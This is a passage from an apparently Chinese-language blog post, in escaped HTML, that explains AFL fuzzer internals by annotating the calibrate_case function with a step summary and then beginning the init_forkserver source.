(stop_soon || fault != crash_mode) goto abort_calibration;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!dumb_mode &amp;amp;&amp;amp; !stage_cur &amp;amp;&amp;amp; !count_bytes(trace_bits)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;&#x2F; 如果 calibration stage第一次运行，且不在dumb_mode，共享内存中没有任何路径&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      fault = FAULT_NOINST;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      goto abort_calibration;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (q-&amp;gt;exec_cksum != cksum) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      hnb = has_new_bits(virgin_bits);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (hnb &amp;gt; new_bits) new_bits = hnb;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (q-&amp;gt;exec_cksum) { &#x2F;&#x2F; 不等于exec_cksum，表示第一次运行，或在相同参数下，每次执行，cksum不同，表示是一个路径可变的queue&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        u32 i;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        for (i = 0; i &amp;lt; MAP_SIZE; i++) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          if (!var_bytes[i] &amp;amp;&amp;amp; first_trace[i] != trace_bits[i]) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;					&#x2F;&#x2F; 从0到MAP_SIZE进行遍历， first_trace[i] != trace_bits[i]，表示发现了可变queue&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            var_bytes[i] = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            stage_max    = CAL_CYCLES_LONG;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        var_detected = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        q-&amp;gt;exec_cksum = cksum; &#x2F;&#x2F; q-&amp;gt;exec_cksum=0，表示第一次执行queue，则设置计算出来的本次执行的cksum&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        memcpy(first_trace, trace_bits, MAP_SIZE);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  stop_us = get_cur_time_us();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  total_cal_us     += stop_us - start_us;  &#x2F;&#x2F; 保存所有轮次的总执行时间&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  total_cal_cycles += stage_max; &#x2F;&#x2F; 保存总轮次&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* OK, let&#x27;s collect some stats about the performance of this test case.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     This is used for fuzzing air time calculations in calculate_score(). *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;exec_us     = (stop_us - start_us) &#x2F; stage_max; &#x2F;&#x2F; 单次执行时间的平均值&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;bitmap_size = count_bytes(trace_bits); &#x2F;&#x2F; 最后一次执行所覆盖的路径数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;handicap    = handicap;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;cal_failed  = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  total_bitmap_size += q-&amp;gt;bitmap_size; &#x2F;&#x2F; 加上queue所覆盖的路径数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  total_bitmap_entries++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  update_bitmap_score(q);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* If this case didn&#x27;t result in new output from the instrumentation, tell&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     parent. This is a non-critical problem, but something to warn the user&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     about. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!dumb_mode &amp;amp;&amp;amp; first_run &amp;amp;&amp;amp; !fault &amp;amp;&amp;amp; !new_bits) fault = FAULT_NOBITS;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;abort_calibration:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (new_bits == 2 &amp;amp;&amp;amp; !q-&amp;gt;has_new_cov) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q-&amp;gt;has_new_cov = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    queued_with_cov++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Mark variable paths. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (var_detected) { &#x2F;&#x2F; queue是可变路径&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    var_byte_count = count_bytes(var_bytes);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!q-&amp;gt;var_behavior) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      mark_as_variable(q);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      queued_variable++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 恢复之前的stage值&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  stage_name = old_sn;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  stage_cur  = old_sc;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  stage_max  = old_sm;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!first_run) show_stats();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  return fault;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;总结以上过程如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;进行参数设置，包括当前阶段 &lt;code&gt;stage_cur&lt;&#x2F;code&gt;，阶段名称 &lt;code&gt;stage_name&lt;&#x2F;code&gt;，新比特 `new_bit 等初始化;&lt;&#x2F;li&gt;
&lt;li&gt;参数 &lt;code&gt;from_queue&lt;&#x2F;code&gt;，判断case是否在队列中，且是否处于resuming session， 以此设置时间延迟。testcase参数 &lt;code&gt;q-&amp;gt;cal_failed&lt;&#x2F;code&gt; 加1， 是否校准失败参数加1；&lt;&#x2F;li&gt;
&lt;li&gt;判断是否已经启动fork server ，调用函数 &lt;code&gt;init_fork server()&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;拷贝 &lt;code&gt;trace_bits&lt;&#x2F;code&gt; 到 &lt;code&gt;first_trace&lt;&#x2F;code&gt; ，调用 &lt;code&gt;get_cur_time_us()&lt;&#x2F;code&gt; 获取开始时间 &lt;code&gt;start_us&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;进入loop循环，该loop循环多次执行testcase，循环次数为8次或者3次；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;write_to_testcase&lt;&#x2F;code&gt; 将修改后的数据写入文件进行测试。如果 &lt;code&gt;use_stdin&lt;&#x2F;code&gt; 被清除，取消旧文件链接并创建一个新文件。否则，缩短&lt;code&gt;prog_in_fd&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;run_target&lt;&#x2F;code&gt; 通知fork server可以开始fork并fuzz；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;hash32&lt;&#x2F;code&gt; 校验此次运行的 &lt;code&gt;trace_bits&lt;&#x2F;code&gt;，检查是否出现新的情况；&lt;&#x2F;li&gt;
&lt;li&gt;将本次运行的出现 &lt;code&gt;trace_bits&lt;&#x2F;code&gt; 哈希和本次 testcase的 &lt;code&gt;q-&amp;gt;exec_cksum&lt;&#x2F;code&gt;对比。如果发现不同，则调用 &lt;code&gt;has_new_bits&lt;&#x2F;code&gt;函数和总表&lt;code&gt;virgin_bits&lt;&#x2F;code&gt; 对比；&lt;&#x2F;li&gt;
&lt;li&gt;判断 &lt;code&gt;q-&amp;gt;exec_cksum&lt;&#x2F;code&gt; 是否为0，不为0说明不是第一次执行。后面运行如果和前面第一次 &lt;code&gt;trace_bits&lt;&#x2F;code&gt; 结果不同，则需要多运行几次；&lt;&#x2F;li&gt;
&lt;li&gt;loop循环结束；&lt;&#x2F;li&gt;
&lt;li&gt;收集一些关于测试用例性能的统计数据。比如执行时间延迟，校准错误，bitmap大小等等；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;update_bitmap_score() &lt;&#x2F;code&gt; 函数对测试用例的每个byte进行排序，用一个 &lt;code&gt;top_rate[]&lt;&#x2F;code&gt; 维护最佳入口；&lt;&#x2F;li&gt;
&lt;li&gt;如果没有从检测中得到 &lt;code&gt;new_bit&lt;&#x2F;code&gt;，则告诉父进程，这是一个无关紧要的问题，但是需要提醒用户。 总结：calibratecase函数到此为止，该函数主要用途是init_fork server；将testcase运行多次；用update_bitmap_score进行初始的byte排序。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;AFL的fork server机制避免了多次执行 &lt;code&gt;execve()&lt;&#x2F;code&gt; 函数的多次调用，只需要调用一次然后通过管道发送命令即可。该函数主要用于启动APP和它的fork server。函数整体控制流程图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-fork-server-flowchart.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210908115123.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合源码梳理一下函数流程：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;  1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 68&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 69&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 70&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 71&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 72&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 73&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 74&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 75&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 76&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 77&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 78&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 79&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 80&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 81&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 82&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 83&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 84&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 85&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 86&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 87&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 88&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 89&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 90&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 91&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 92&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 93&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 94&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 95&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 96&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 97&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 98&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 99&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;100&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;101&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;102&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;103&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;104&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;105&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;106&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;107&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;108&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;109&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;110&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;111&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;112&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;113&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;114&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;115&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;116&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;117&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;118&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;119&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;120&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;121&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;122&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;123&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;124&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;125&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;126&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;127&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;128&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;129&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;130&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;131&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;132&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;133&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;134&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;135&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;136&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;137&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;138&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;139&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;140&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;141&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;142&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;143&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;144&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;145&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;146&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;147&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;148&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;EXP_ST void init_fork server(char** argv) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static struct itimerval it;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  int st_pipe[2], ctl_pipe[2];&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  int status;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  s32 rlen;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ACTF(&quot;Spinning up the fork server...&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; if (pipe(st_pipe) || pipe(ctl_pipe)) PFATAL(&quot;pipe() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 检查 st_pipe 和ctl_pipe，在父子进程间进行管道通信，一个用于传递状态，一个用于传递命令&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; forksrv_pid = fork();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; fork进程出一个子进程&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 如果fork成功，则现在有父子两个进程&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 此时的父进程为fuzzer，子进程则为目标程序进程，也是将来的fork server&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (forksrv_pid &amp;lt; 0) PFATAL(&quot;fork() failed&quot;); &#x2F;&#x2F; fork失败&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 子进程和父进程都会向下执行，通过pid来使父子进程执行不同的代码&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!forksrv_pid) { &#x2F;&#x2F; 子进程执行&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    struct rlimit r;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* 中间省略针对OpenBSD的特殊处理 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ... ...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Isolate the process and configure standard descriptors. If out_file is&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       specified, stdin is &#x2F;dev&#x2F;null; otherwise, out_fd is cloned instead. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 创建守护进程&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    setsid();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 重定向文件描述符1和2到dev_null_fd&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    dup2(dev_null_fd, 1);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    dup2(dev_null_fd, 2);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 如果指定了out_file，则文件描述符0重定向到dev_null_fd，否则重定向到out_fd&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (out_file) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      dup2(dev_null_fd, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      dup2(out_fd, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      close(out_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Set up control and status pipes, close the unneeded original fds. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 设置控制和状态管道，关闭不需要的一些文件描述符&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (dup2(ctl_pipe[0], FORKSRV_FD) &amp;lt; 0) PFATAL(&quot;dup2() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (dup2(st_pipe[1], FORKSRV_FD + 1) &amp;lt; 0) PFATAL(&quot;dup2() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(ctl_pipe[0]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(ctl_pipe[1]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(st_pipe[0]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(st_pipe[1]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    